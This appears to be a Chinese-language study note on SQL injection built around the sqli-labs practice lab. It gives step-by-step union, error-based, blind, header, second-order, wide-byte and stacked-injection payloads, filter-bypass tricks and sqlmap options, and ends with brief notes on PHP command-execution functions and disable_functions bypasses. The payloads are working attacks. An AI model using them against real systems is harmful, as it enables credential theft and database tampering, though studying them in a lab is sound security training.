SQL注入基础
一、核心函数汇总
截断函数
substr(str, start, length) / substring()
left(str, length) / right(str, length)
mid(str, start, length)
判断函数
length(str) - 返回字符串的长度
ascii(char) - 返回字符对应的 ASCII 值
if(condition, true_val, false_val) - 实现条件判断逻辑
关键数据库表
information_schema 库包含以下核心表:
-
SCHEMATA - 存储所有数据库名称
-
TABLES - 存储所有数据表名称
3.COLUMNS - 存储所有数据列名称
二、Less-1 联合查询注入
完整复现流程:
定位注入点
bash
http://localhost/sqli/Less-1/?id=1'
页面出现报错信息,由此确认存在单引号类型的 SQL 注入漏洞。
2.确定查询列数
?id=1' order by 1--+
?id=1' order by 2--+
?id=1' order by 3--+ # 页面正常显示
?id=1' order by 4--+ # 页面报错,判定查询列数为3列
3.确认回显位置
bash
?id=-1' union select 1,2,3--+
可看到回显位置为第 2 列和第 3 列。
4.获取当前数据库名称
bash
?id=-1' union select 1,database(),3--+
查询结果为:security。
5.获取数据库中所有表名
bash
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
查询结果为:emails,referers,uagents,users。
6.获取 users 表的所有列名
bash
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
查询结果为:id,username,password。
7.提取账号与密码信息
bash
?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+
三、报错注入
updatexml () 函数注入示例
bash
http://localhost/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e,user(),0x7e),2)--+
常用报错注入函数
extractvalue() - 利用 XPath 语法错误触发报错,返回内容最多 32 位
updatexml() - 利用 XPath 解析错误触发报错,返回内容最多 32 位
floor()+rand()+group by - 利用主键重复冲突触发报错
exp() - 利用数值溢出触发报错(需 MySQL 5.5.5 及以上版本)
geometrycollection()/multipoint()/polygon() - 利用几何函数语法错误触发报错
NAME_CONST() - 利用重复列名问题触发报错
四、Less-5 布尔盲注
该场景下页面仅返回两种状态(正常 / 错误),需通过布尔判断的方式逐字符提取数据。
核心思路
猜测数据库名长度:?id=1' and length(database())=8--+
逐字符猜解数据库名:?id=1' and ascii(substr(database(),1,1))=115--+
可借助 Burp Intruder 工具或 Python 脚本实现自动化猜解
五、信息收集技巧
子域名查询常用工具
1、layer 子域名挖掘机
2、子域名破解工具
HTTP 头注入与绕过
一、Less-18 User-Agent 注入
注入点位于 User-Agent 请求头中,示例如下:
bash
POST /sqli/Less-18/
User-Agent: ' OR extractvalue(1,concat('!',database())) OR '
uname=admin&passwd=123&submit=Submit
二、Less-19 Referer 注入
注入点位于 Referer 请求头中,注入方法与 Less-18 一致。
三、Less-20 Cookie 注入
Cookie 参数值被直接带入 SQL 语句执行,注入示例:
bash
Cookie: uname=admin' union select 1,user(),3#
四、Less-23 注释符绕过
目标环境过滤了#和--+注释符,可使用;%00或语句闭合的方式绕过限制:
bash
?id=-1' union select 1,2,3 or '1'='1
五、Less-24 二次注入
步骤:
注册恶意账号:
用户名:admin'#
密码:123456
使用 admin'# 账号登录,获取对应的 session 凭证
执行密码修改操作
将新密码设置为:passwd1
原理分析
后台执行的 SQL 语句为:
bash
UPDATE users SET PASSWORD='$pass' WHERE username='$username'
实际拼接后执行的语句:
bash
UPDATE users SET PASSWORD='passwd1' WHERE username='admin'#'
其中#注释了后续内容,最终修改的是 admin 账号的密码
六、Less-25 双写绕过
目标环境过滤了or和and关键字,可通过双写关键字的方式绕过:
bash
?id=-1' union select 1,group_concat(username,0x3a,passwoorrd),3 from users--+
七、Less-26 空格过滤绕过
目标环境过滤了空格,可采用以下方式替代空格:
/**/ - 利用注释符替代空格
%0a - 利用换行符替代空格
() - 利用括号包裹运算符替代空格
示例:
bash
?id=1' &&(updatexml(1,concat(0x7e,database(),0x7e),1))&&('1')='1
八、Less-27 大小写绕过
示例:
bash
?id=100'%0aUniOn%0ASElecT%0a1,2,3;%00
九、SQLMap 使用
bash
sqlmap -u "url" --level=5 --risk=3 --technique=BEUSTQ
--level: 测试级别(1-5),级别越高包含的测试载荷越多
--risk: 风险级别(1-3),级别3会包含基于or的注入测试载荷
--technique: 指定注入技术类型
B: 布尔盲注
E: 报错注入
U: 联合查询注入
S: 堆叠查询注入
T: 时间盲注
Q: 内联查询注入
宽字节与堆叠注入
一、Less-32 宽字节注入
原理说明:GBK 编码中,一个汉字由两个字节组成。当输入%df'时:
%df会与转义符\(对应十六进制 0x5C)组合成%df%5c
该组合在 GBK 编码中会被解析为汉字運
原本被转义的单引号因此逃逸出来,触发注入
示例:
bash
?id=-1%df' union select 1,user(),3--+
二、Less-37 POST 宽字节注入
bash
uname=admin%df'#
passwd=123
三、Less-38 堆叠注入
原理说明:堆叠注入允许执行多条 SQL 语句
示例语句:
bash
?id=1';insert into users(id,username,password) values(100,'test','123')--+
使用限制:
不适用于 union/select/insert 等语句的常规组合场景
更适用于文件操作、数据修改等场景
四、编码对比
编码方式的核心特点
GBK 汉字占用 2 个字节,属于固定长度编码
UTF-8 可变长度编码,汉字通常占用 3 个字节
Unicode 固定长度编码,无变长特性
ThinkPHP 漏洞
一、ThinkPHP 5.0.13-5.0.15 SQL 注入
环境搭建步骤
下载 ThinkPHP 5.0.15 版本源码
Windows 环境配置:
将源码中的framework目录重命名为thinkphp
配置虚拟主机,将根目录指向项目的public目录
虚拟主机配置示例(Apache):
bash
<VirtualHost *:80>
DocumentRoot "D:/tp5/public"
ServerName tp5.com
</VirtualHost>
预编译绕过
一、MySQL 预编译机制
真预编译
执行流程:建立数据库连接 → 构建 SQL 语法树 → 执行语句
SQL 语句结构与传入参数完全分离
可有效抵御 SQL 注入攻击
通常应用于生产环境
虚假预编译
本质为字符串拼接操作
16 进制编码方式可能被绕过
存在宽字节注入的风险
预编译失效场景
ORDER BY 子句
ORDER BY 后接标识符,而非数据值
预编译机制无法作用于该位置
解决方案:采用白名单方式验证参数
GROUP BY 子句
与 ORDER BY 子句原理一致,预编译机制失效
二、MySQL 绕过技术总结
编码绕过:16 进制编码、URL 编码
注释绕过:/**/、/*!*/
大小写绕过
双写关键字绕过
特殊字符绕过:%0a、%09
宽字节绕过
三、未授权访问
文件操作相关问题:
数据库配置不当可能导致未授权访问漏洞
默认弱口令易引发安全风险
RCE 与综合漏洞
一、PostgreSQL 注入
simple_query 协议
具备参数绑定机制
存在请求体溢出类漏洞
复现需大内存环境,实际操作难度较高
二、请求走私
通过构造特殊格式的 HTTP 请求,绕过 WAF 的检测规则。
三、DataEase
数据分析平台相关漏洞利用
参考文档:
https://www.cnblogs.com/cwkiller/p/18957721
四、RCE 远程命令执行
PHP 常用命令执行函数
函数 功能说明
system() 直接执行系统命令并输出执行结果
exec() 执行系统命令,需配合 echo 输出结果
shell_exec() 执行系统命令,返回执行结果的字符串
passthru() 直接输出系统命令的执行结果
proc_open() 进程控制函数,使用方式更灵活
popen() 打开进程管道执行命令
eval() 执行传入的 PHP 代码
assert() 执行传入的 PHP 代码(PHP 7 版本中功能有变更)
常用回调函数
call_user_func()
call_user_func_array()
array_map()
usort() / uasort()
disable_functions 绕过方法
LD_PRELOAD:通过环境变量劫持系统函数
Shellshock:利用 bash 破壳漏洞实现绕过
FFI:借助 PHP 7.4 + 版本的外部函数接口
COM 组件(仅 Windows 环境)
ImageMagick 漏洞利用
GC UAF:利用 PHP 垃圾回收机制的 UAF 漏洞